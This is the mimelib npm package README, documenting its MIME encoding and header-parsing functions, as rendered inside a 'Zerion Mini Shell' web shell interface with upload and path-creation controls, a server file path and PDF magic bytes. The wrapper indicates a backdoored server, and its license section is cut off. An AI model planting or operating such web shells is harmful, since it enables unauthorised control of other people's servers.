%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/workflow/node_modules/mimelib/
Upload File :
Create Path :
Current File : /home/opti/workflow/node_modules/mimelib/README.md

# mimelib

*mimelib* is a collection of useful functions to deal with mime-encoded data.

## Installation

Install with *npm*

    npm install mimelib
    
## Usage

    var mimelib = require("mimelib");

## Reference

### foldLine

Folds a long line according to the RFC 5322 <http://tools.ietf.org/html/rfc5322#section-2.1.1>

    mimelib.foldLine(str [, maxLength][, foldAnywhere][, afterSpace]) -> String
    
  - `str` (String): mime string that might need folding
  - `maxLength` (Number): max length for a line, defaults to 78
  - `foldAnywhere` (Boolean): can fold at any location (ie. in base64)
  - `afterSpace` (Boolean): If `true` fold after the space
 

For example:

    Content-Type: multipart/alternative; boundary="----zzzz----"

will become

    Content-Type: multipart/alternative;
         boundary="----zzzz----"

### encodeMimeWord

Encodes a string into mime encoded word format <http://en.wikipedia.org/wiki/MIME#Encoded-Word>  (see also `decodeMimeWord`)

    mimelib.encodeMimeWord = function(str [, encoding][, charset])

  - `str` (String): String to be encoded
  - `encoding` (String): Encoding Q for quoted printable or B (def.) for base64
  - `charset` (String): Charset to be used
  
For example:

    See on õhin test

Becomes with UTF-8 and Quoted-printable encoding

    =?UTF-8?Q?See_on_=C3=B5hin_test?=
    
### decodeMimeWord

Decodes a string from mime encoded word format (see also `encodeMimeWord`)

    mimelib.decodeMimeWord(str) -> String
    
  - `str` (String): String to be decoded

For example

    mimelib.decodeMimeWord("=?UTF-8?Q?See_on_=C3=B5hin_test?=");

will become

    See on õhin test

### encodeQuotedPrintable

Encodes a string into Quoted-printable format (see also `decodeQuotedPrintable`)

    mimelib.encodeQuotedPrintable(str [, mimeWord][, charset]) -> String
    
  - `str` (String): String to be encoded into Quoted-printable
  - `mimeWord` (Boolean): Deprecated, has no effect, ignore it
  - `charset` (String): Destination charset, defaults to UTF-8

### decodeQuotedPrintable

Decodes a string from Quoted-printable format  (see also `encodeQuotedPrintable`)

    mimelib.decodeQuotedPrintable(str [, mimeWord][, charset]) -> String
    
  - `str` (String): String to be decoded
  - `mimeWord` (Boolean): Deprecated, has no effect, ignore it
  - `charset` (String): Charset to be used, defaults to UTF-8
  
### encodeBase64

Encodes a string into Base64 format. Base64 is mime-word safe (see also `decodeBase64`)

    mimelib.encodeBase64(str [, charset]) -> String
    
  - `str` (String): String to be encoded into Base64
  - `charset` (String): Destination charset, defaults to UTF-8

### decodeBase64

Decodes a string from Base64 format. Base64 is mime-word safe (see also `encodeBase64`)

NB! Always returns UTF-8

    mimelib.decodeBase64(str) -> String

  - `str` (String): String to be decoded from Base64
  - `charset` (String): Source charset, defaults to UTF-8
  
### parseHeaders

Parses header lines into an array of objects (see `parseHeaderLine`)

    mimelib.parseHeaders(headers) -> Array
    
  - `headers` (String): header section of the e-mail

Example:

    var headers = [
        "From: andris@node.ee",
        "To: juulius@node.ee",
        "To: juulius2@node.ee",
        "Content-type: text/html;",
        "    charset=utf-8"
        ].join("\r\n");
    mimelib.parseHeaders(headers);

Results in 

    {"from": [ 'andris@node.ee' ],
     "to": [ 'juulius@node.ee', 'juulius2@node.ee' ],
     "content-type": [ 'text/html;    charset=utf-8' ] }

### parseAddresses

Parses names and addresses from a from, to, cc or bcc line

    mimelib.parseAddresses(addresses) -> Array
    
  - `addresses` (String): string with comma separated e-mail addresses  
  
Example:

    var to = '"Andris Reinman" <andris@node.ee>, juulius@node.ee'
    mimelib.parseAddresses(to);
  
Results in

    [{ address: 'andris@node.ee', name: 'Andris Reinman' },
     { address: 'juulius@node.ee', name: false }]

### parseMimeWords

Parses mime-words into UTF-8 strings

    mimelib.parseMimeWords(str) -> String

  - `str` (String): string to be parsed, if includes any mime words, then these are converted to UTF-8 strings
  
  
For example:

    mimelib.parseMimeWords("Hello: =?UTF-8?Q?See_on_=C3=B5hin_test?=");

Results in

    "Hello: See on õhin test"
    
### parseHeaderLine

Parses a header line to search for additional parameters.

    mimelib.parseHeaderLine(line) -> Object
    
  - `line` (String): a line from a message headers
  
For example:

    mimelib.parseHeaderLine("text/plain; charset=utf-8")imelib

Results in

    {"defaultValue": 'text/plain',
     "charset": 'utf-8' }

### contentTypes

**NB! this feature is deprecated**, use [mime](https://github.com/broofa/node-mime) module instead to detect content types and extensions

`mimelib.contentTypes` is an object to provide content type strings for common
file extensions

    mimelib.contentTypes["xls"]; // "application/vnd.ms-excel"

## iconv support

By default only iconv-lite support is bundled. If you need node-iconv support, you need to add it
as an additional dependency for your project:

    ...,
    "dependencies":{
        "mimelib": "*",
        "iconv": "*"
    },
    ...

## License

mimelib license is

Zerion Mini Shell 1.0